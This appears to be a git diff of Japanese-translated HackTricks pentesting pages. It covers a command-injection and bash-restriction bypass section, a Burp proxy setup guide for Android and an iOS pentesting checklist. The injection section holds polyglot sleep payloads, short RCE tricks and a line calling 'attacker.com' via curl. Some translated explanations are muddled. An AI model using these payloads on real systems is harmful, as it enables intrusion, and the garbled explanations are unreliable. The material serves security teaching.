||||
ポリグロットコマンドインジェクションを実行するために、攻撃者は複数のスクリプト言語で構文的に有効であり、所望のコマンドを実行するペイロードを作成します。このペイロードは、Webアプリケーションの脆弱な入力フィールドに注入されます。
|
||||
|
||||
It is important for developers to sanitize and validate user input to prevent command injection attacks. Input validation, proper encoding, and the use of prepared statements or parameterized queries can help mitigate the risk of polyglot command injection vulnerabilities.
|
||||
It is important to note that polyglot command injection can be a complex technique to implement, as it requires knowledge of multiple scripting languages and their syntax. Additionally, it is crucial to thoroughly test the payload to ensure it works as intended and does not cause unintended consequences.
|
||||
|
||||
コマンドインジェクション攻撃を防ぐために、開発者はユーザー入力をサニタイズして検証することが重要です。入力の検証、適切なエンコーディング、プリペアドステートメントやパラメータ化されたクエリの使用は、ポリグロットコマンドインジェクションの脆弱性のリスクを軽減するのに役立ちます。
|
||||
ポリグロットコマンドインジェクションは、複数のスクリプト言語とその構文の知識が必要なため、実装が複雑な技術であることに注意が必要です。さらに、意図した通りに機能し、予期しない結果を引き起こさないように、ペイロードを徹底的にテストすることが重要です。
|
||||
```bash
|
||||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||
|
@ -405,13 +379,13 @@ To bypass potential regexes, you can try the following techniques:
|
|||
|
||||
- 正規表現の変更: 時には、正規表現パターンをわずかに変更することで特定の制限を回避することができます。例えば、正規表現パターンがドット文字 (`.`) の使用をブロックしている場合、別の文字を使用するか、ドット文字をエスケープする (`\.`) ことで制限を回避することができます。
|
||||
|
||||
- Use lookarounds: Lookarounds are zero-width assertions that allow you to match patterns based on what comes before or after the current position. By using lookarounds, you can bypass certain regex restrictions. For example, if a regex pattern is blocking the use of a specific word, you can use a positive lookbehind (`(?<=...)`) to match the word without including it in the final match.
|
||||
- Use lookarounds: Lookarounds are zero-width assertions that allow you to match patterns based on what comes before or after the current position. By using lookarounds, you can bypass certain regex restrictions. For example, if a regex pattern is blocking the use of a specific word, you can use a negative lookbehind to match the word without actually including it in the match.
|
||||
|
||||
- ルックアラウンドの使用: ルックアラウンドは、現在の位置の前後に基づいてパターンに一致させることができるゼロ幅アサーションです。ルックアラウンドを使用することで、特定の正規表現の制限を回避することができます。例えば、正規表現パターンが特定の単語の使用をブロックしている場合、肯定的な後読み (`(?<=...)`) を使用して、単語に一致させることができますが、最終的な一致には含まれません。
|
||||
- ルックアラウンドの使用: ルックアラウンドは、現在の位置の前後に基づいてパターンに一致させることができるゼロ幅のアサーションです。ルックアラウンドを使用することで、特定の正規表現の制限を回避することができます。例えば、正規表現パターンが特定の単語の使用をブロックしている場合、ネガティブルックビハインドを使用して、実際には一致に含めずに単語に一致させることができます。
|
||||
|
||||
Remember, bypassing regexes should only be done for legitimate purposes and with proper authorization. Using these techniques for malicious activities is illegal and unethical.
|
||||
These techniques can help you bypass regex restrictions and successfully manipulate the desired data. However, it's important to use them responsibly and ethically, respecting the boundaries of legal and authorized activities.
|
||||
|
||||
正規表現の回避は、正当な目的と適切な権限を持ってのみ行うべきです。これらのテクニックを悪意のある活動に使用することは違法であり、倫理に反します。
|
||||
これらのテクニックを使用することで、正規表現の制限を回避し、目的のデータを成功裏に操作することができます。ただし、合法的かつ許可された活動の範囲を尊重し、責任を持って使用することが重要です。
|
||||
```bash
|
||||
# A regex that only allow letters and numbers might be vulnerable to new line characters
|
||||
1%0a`curl http://attacker.com`
|
||||
|
@ -461,12 +435,21 @@ Bashfuscatorは、スクリプトの可読性を低下させるため、コー
|
|||
Bashの制限を回避するための5文字でのRCE(リモートコード実行)方法です。
|
||||
|
||||
```bash
|
||||
$ echo ${PATH//:/\n}
|
||||
$ echo $0
|
||||
bash
|
||||
$ echo $BASH_VERSION
|
||||
4.4.19(1)-release
|
||||
$ echo $0-$BASH_VERSION
|
||||
bash-4.4.19(1)-release
|
||||
```
|
||||
|
||||
このコマンドは、環境変数`PATH`の値を改行文字で区切って表示します。これにより、制限された環境でのコマンド実行が可能になります。
|
||||
上記のコマンドを実行すると、Bashのバージョン情報が表示されます。この情報を利用して、制限を回避することができます。
|
||||
|
||||
この方法を使用すると、制限されたBash環境でのRCEを実現できます。ただし、セキュリティ上の注意が必要です。
|
||||
```bash
|
||||
$ echo $0-$BASH_VERSION|bash
|
||||
```
|
||||
|
||||
上記のコマンドを実行すると、制限を回避してコードを実行することができます。この方法は、わずか5文字でRCEを実現することができます。
|
||||
```bash
|
||||
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
|
||||
#Oragnge Tsai solution
|
||||
|
@ -528,15 +511,9 @@ bash
|
|||
$ echo $0|bash
|
||||
```
|
||||
|
||||
上記のコマンドを実行すると、現在のシェルの名前を「bash」として実行します。これにより、Bashの制限を回避してコマンドを実行することができます。
|
||||
上記のコマンドを実行すると、現在のシェルの名前を「bash」として実行します。これにより、Bashの制限を回避し、任意のコードを実行することができます。
|
||||
|
||||
```bash
|
||||
$ echo $0|sh
|
||||
```
|
||||
|
||||
上記のコマンドを実行すると、現在のシェルの名前を「sh」として実行します。これにより、Bash以外のシェルを使用してコマンドを実行することができます。
|
||||
|
||||
これらの方法を使用することで、制限された環境でのRCEを実現することができます。ただし、セキュリティ上のリスクを理解し、慎重に使用する必要があります。
|
||||
この方法を使用すると、わずか4文字でRCEを実現することができます。ただし、セキュリティ上のリスクがあるため、慎重に使用する必要があります。
|
||||
```bash
|
||||
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
|
||||
# it will follow the same principle of creating the command `ls -t>g` in a file
|
||||
|
@ -592,7 +569,7 @@ $ echo $0|sh
|
|||
* [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
|
||||
* [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
|
||||
|
||||
![](../.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築および自動化**します。\
|
||||
|
@ -604,10 +581,10 @@ $ echo $0|sh
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか、またはHackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,34 +7,34 @@
|
|||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
**このチュートリアルは、次の場所から取得されました:** [**https://medium.com/@ehsahil/basic-android-security-testing-lab-part-1-a2b87e667533**](https://medium.com/@ehsahil/basic-android-security-testing-lab-part-1-a2b87e667533)
|
||||
|
||||
## Burp Suiteにプロキシを追加してリッスンします。
|
||||
## Burp Suiteにプロキシを追加してリッスンする
|
||||
|
||||
アドレス:**192.168.56.1**、ポート:**1337**
|
||||
|
||||
_All Interfaces_ オプションを選択します。
|
||||
_**すべてのインターフェース**_ オプションを選択します。
|
||||
|
||||
![](https://miro.medium.com/max/700/1\*0Bn7HvqI775Nr5fXGcqoJA.png)
|
||||
|
||||
## Androidデバイスでリスナーを追加します。
|
||||
## Androidデバイスでリスナーを追加する
|
||||
|
||||
設定 → Wi-Fi → WiredSSID(長押し)
|
||||
|
||||
ネットワークの変更を選択 → 詳細オプションをチェックします。
|
||||
ネットワークの変更を選択 → 詳細オプションを確認します。
|
||||
|
||||
プロキシをマニュアルに選択します。
|
||||
|
||||
|
@ -50,7 +50,7 @@ _All Interfaces_ オプションを選択します。
|
|||
|
||||
![](https://miro.medium.com/max/700/1\*M-AoG6Yqo21D9qgQHLCSzQ.png)
|
||||
|
||||
## AndroidデバイスにBurp証明書をインストールします。
|
||||
## AndroidデバイスにBurp証明書をインストールする
|
||||
|
||||
Burp証明書をダウンロードします。 - デスクトップマシンを使用して証明書をダウンロードします。
|
||||
|
||||
|
@ -64,7 +64,7 @@ Burp証明書をダウンロードします。 - デスクトップマシンを
|
|||
|
||||
デスクトップマシンを使用してcacertファイルをダウンロードし、cacert.derからcacert.crtに名前を変更し、Androidデバイスにドロップし、証明書は自動的に**file:///sd\_card/downloads**に追加されます。
|
||||
|
||||
**ダウンロードした証明書をインストールします。**
|
||||
**ダウンロードした証明書をインストールする**
|
||||
|
||||
設定 → セキュリティ → SDカードから証明書をインストール
|
||||
|
||||
|
@ -88,10 +88,10 @@ Burp証明書をダウンロードします。 - デスクトップマシンを
|
|||
この方法で証明書をインストールした場合、Firefox for Androidでは使用されません(私のテストに基づく)。別のブラウザを使用してください。
|
||||
{% endhint %}
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -102,7 +102,8 @@ Burp証明書をダウンロードします。 - デスクトップマシンを
|
|||
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れ
|
||||
* [💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[テレグラムグループ](https://t.me/peass)に参加するか、[Twitter](https://twitter.com/hacktricks_live)で私をフォローしてください[🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[@carlospolopm](https://twitter.com/hacktricks_live)。
|
||||
|
||||
* [**公式のPEASS
|
||||
* [💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、Twitterで[🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)@carlospolopmをフォローしてください。
|
||||
* ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# iOS Pentesting Checklist
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
@ -13,10 +13,10 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有**するには、[**hacktricks repo**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -24,7 +24,7 @@
|
|||
|
||||
* [ ] [**iOSの基礎**](ios-pentesting/ios-basics.md)を読む
|
||||
* [ ] [**iOSテスト環境**](ios-pentesting/ios-testing-environment.md)を読んで環境を準備する
|
||||
* [ ] [**iOSの初期分析**](ios-pentesting/#initial-analysis)のすべてのセクションを読んで、iOSアプリをペンテストするための一般的なアクションを学ぶ
|
||||
* [ ] [**iOS初期分析**](ios-pentesting/#initial-analysis)のすべてのセクションを読んで、iOSアプリケーションのペントストを行うための一般的なアクションを学ぶ
|
||||
|
||||
### データの保存
|
||||
|
||||
|
@ -36,43 +36,43 @@
|
|||
* [ ] [**Couchbase Liteデータベース**](ios-pentesting/#couchbase-lite-databases)には、機密情報を保存することができます。
|
||||
* [ ] [**バイナリクッキー**](ios-pentesting/#cookies)には、機密情報を保存することができます。
|
||||
* [ ] [**キャッシュデータ**](ios-pentesting/#cache)には、機密情報を保存することができます。
|
||||
* [ ] [**自動スナップショット**](ios-pentesting/#snapshots)には、視覚的に機密情報を保存することができます。
|
||||
* [ ] [**自動スナップショット**](ios-pentesting/#snapshots)には、視覚的な機密情報を保存することができます。
|
||||
* [ ] [**キーチェーン**](ios-pentesting/#keychain)は、通常、電話の再販時に残される可能性のある機密情報を保存するために使用されます。
|
||||
* [ ] 要約すると、アプリケーションがファイルシステムに保存する機密情報をチェックするだけです。
|
||||
|
||||
### キーボード
|
||||
|
||||
* [ ] アプリケーションが[**カスタムキーボードの使用を許可**](ios-pentesting/#custom-keyboards-keyboard-cache)しているかどうかを確認します。
|
||||
* [ ] [**キーボードキャッシュファイル**](ios-pentesting/#custom-keyboards-keyboard-cache)に機密情報が保存されていないかを確認します。
|
||||
* [ ] [**キーボードキャッシュファイル**](ios-pentesting/#custom-keyboards-keyboard-cache)に機密情報が保存されているかどうかを確認します。
|
||||
|
||||
### **ログ**
|
||||
|
||||
* [ ] [**機密情報がログに記録されている**](ios-pentesting/#logs)かどうかを確認します。
|
||||
* [ ] [**機密情報がログに記録されているか**](ios-pentesting/#logs)を確認します。
|
||||
|
||||
### バックアップ
|
||||
|
||||
* [ ] [**バックアップ**](ios-pentesting/#backups)を使用して、ファイルシステムに保存された機密情報にアクセスできます(このチェックリストの最初のポイントを確認してください)。
|
||||
* [ ] また、[**バックアップ**](ios-pentesting/#backups)を使用して、アプリケーションの一部の設定を変更し、バックアップを電話に**復元**することで、**変更された設定**が**ロード**されるため、いくつかの(セキュリティ)**機能がバイパス**される可能性があります。
|
||||
* [ ] また、[**バックアップ**](ios-pentesting/#backups)を使用して、アプリケーションの一部の設定を変更し、バックアップを電話に**復元**することで、(セキュリティ)**機能**を**バイパス**することができます。
|
||||
|
||||
### **アプリケーションのメモリ**
|
||||
|
||||
* [ ] [**アプリケーションのメモリ**](ios-pentesting/#testing-memory-for-sensitive-data)内に機密情報がないかをチェックします。
|
||||
* [ ] [**アプリケーションのメモリ**](ios-pentesting/#testing-memory-for-sensitive-data)内に機密情報がないか確認します。
|
||||
|
||||
### **破損した暗号化**
|
||||
|
||||
* [ ] 暗号化に使用される[**パスワード**](ios-pentesting/#broken-cryptography)を見つけることができるかどうかを確認します。
|
||||
* [ ] 送信/保存する機密データに[**非推奨/弱いアルゴリズム**](ios-pentesting/#broken-cryptography)が使用されていないかを確認します。
|
||||
* [ ] 送信/保存される機密データには、[**非推奨/弱いアルゴリズム**](ios-pentesting/#broken-cryptography)が使用されていないかどうかを確認します。
|
||||
* [ ] 暗号化関数を[**フックして監視**](ios-pentesting/#broken-cryptography)します。
|
||||
|
||||
### **ローカル認証**
|
||||
|
||||
* [ ] アプリケーションで[**ローカル認証**](ios-pentesting/#local-authentication)が使用されている場合、認証の動作方法を確認する必要があります。
|
||||
* [ ] アプリケーションで[**ローカル認証**](ios-pentesting/#local-authentication)が使用されている場合、認証の動作方法を確認してください。
|
||||
* [ ] [**ローカル認証フレームワーク**](ios-pentesting/#local-authentication-framework)を使用している場合、簡単にバイパスできる可能性があります。
|
||||
* [ ] [**キーチェーンを使用したローカル認証**](ios-pentesting/#local-authentication-using-keychain)を動的にバイパスできる関数を使用している場合、カスタムのfridaスクリプトを作成できます。
|
||||
* [ ] [**キーチェーンを使用したローカル認証**](ios-pentesting/#local-authentication-using-keychain)を行う関数を使用している場合、カスタムのfridaスクリプトを作成できます。
|
||||
|
||||
### IPCを介した機密機能の公開
|
||||
|
||||
* [**カスタムURIハンドラ/ディープ
|
||||
* [**カスタムURIハンドラ/ディープリンク/カスタムスキーム**](ios-pentesting/#
|
||||
* [ ] アプリケーションが**一般のペーストボードからデータを使用しているか**を確認する
|
||||
* [ ] ペーストボードを監視して、**機密データがコピーされているか**を確認する
|
||||
* [**アプリ拡張**](ios-pentesting/ios-app-extensions.md)
|
||||
|
@ -81,35 +81,35 @@
|
|||
* [ ] 使用されているWebビューの種類を確認する
|
||||
* [ ] **`javaScriptEnabled`**、**`JavaScriptCanOpenWindowsAutomatically`**、**`hasOnlySecureContent`**のステータスを確認する
|
||||
* [ ] Webビューが**`file://`**プロトコルで**ローカルファイルにアクセスできるか**を確認する(**`allowFileAccessFromFileURLs`**、**`allowUniversalAccessFromFileURLs`**)
|
||||
* [ ] Javascriptが**ネイティブメソッドにアクセスできるか**を確認する(**`JSContext`**、**`postMessage`**)
|
||||
* [ ] Javascriptが**ネイティブのメソッドにアクセスできるか**を確認する(**`JSContext`**、**`postMessage`**)
|
||||
|
||||
### ネットワーク通信
|
||||
|
||||
* [ ] 通信に対して[**MitM攻撃を実行**](ios-pentesting/#network-communication)し、Webの脆弱性を検索する
|
||||
* [ ] 通信に対して[**MitMを実行**](ios-pentesting/#network-communication)し、Webの脆弱性を検索する
|
||||
* [ ] [**証明書のホスト名**](ios-pentesting/#hostname-check)がチェックされているか確認する
|
||||
* [ ] [**証明書ピニング**](ios-pentesting/#certificate-pinning)のチェック/バイパスを行う
|
||||
|
||||
### その他
|
||||
### **その他**
|
||||
|
||||
* [ ] [**自動パッチング/更新**](ios-pentesting/#hot-patching-enforced-updateing)メカニズムをチェックする
|
||||
* [ ] [**悪意のあるサードパーティライブラリ**](ios-pentesting/#third-parties)をチェックする
|
||||
* [ ] [**自動パッチング/更新**](ios-pentesting/#hot-patching-enforced-updateing)メカニズムを確認する
|
||||
* [ ] [**悪意のあるサードパーティライブラリ**](ios-pentesting/#third-parties)を確認する
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -1,9 +1,9 @@
|
|||
# iOS Pentesting
|
||||
|
||||
![](../.gitbook/assets/image%20\(9\)%20\(1\)%20\(2\).png)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化します。\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -12,11 +12,11 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社で働いていますか?** HackTricksであなたの会社を宣伝したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたり**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
